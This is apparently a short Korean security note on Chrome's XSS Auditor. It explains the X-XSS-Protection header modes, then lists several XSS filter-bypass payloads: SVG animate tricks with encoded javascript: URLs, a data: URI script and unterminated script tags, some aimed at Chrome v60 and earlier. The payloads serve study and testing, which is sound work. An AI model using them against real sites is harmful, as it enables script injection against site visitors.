Chrome Auditor Bypass

1. Chrome Auditor

Chrome 브라우저 기반으로 XSS를 시도할 경우 ERR_BLOCKED_BY_XSS_AUDITOR 이란 문구가 뜨는 것을 확인할 수 있었을 것이다.

처리 비용은 URL(GET방식)과 POST방식으로 데이터를 전송할 때 ", >, <, ' 문자가 없을 경우 기본적으로 0이다. 그러나 이 4문자 중 하나가 발견될 경우 좀 더 heavy한 processing을 호출한다. 

응답헤더를 통한 제어를 할 수 있으며 

◎Auditor를 비활성화     X-XSS-Protection: 0  ◎Auditor를 활성화하고 모드를 neuter으로 설정     X-XSS-Protection: 1 ◎Auditor를 활성화하고 모드를 block으로 설정(Default)     X-XSS-Protection: 1; mode=block

CTRL+U를 통해 소스보기를 할 경우 XSS Auditor가 반영된 스크립트는 아래의 그림처럼 빨간색으로 표시되어 보여진다.

Chrome XSS Auditor 코드는 아래의 URL에서 확인할 수 있다.

https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/html/parser/xss_auditor.h

2. Chrome XSS Auditor Bypass

2.1 Chrome XSS-Auditor Bypass

<svg><animate xlink:href=#x attributeName=href values=&#106;avascript:alert(1) /><a id=x><rect width=100 height=100 /></a>

2.2 Chrome v60 이하에서의 XSS-Auditor Bypass

?c=<svg><animate href=#x attributeName=href values=&#x3000;javascript:alert(1) /><a id=x><rect width=100 height=100 /></a>
// or
?c=<svg width=10000px height=10000px><a><rect width=10000px height=10000px z-index=9999999 /><animate attributeName=href values=javas&#99ript:alert(1)>

<script src="data:,alert(1)%250A-->

<script>alert(1)</script

<script>alert(1)%0d%0a-->%09</script

3. 참고문서

https://www.virtuesecurity.com/understanding-xss-auditor/

https://paper.seebug.org/376/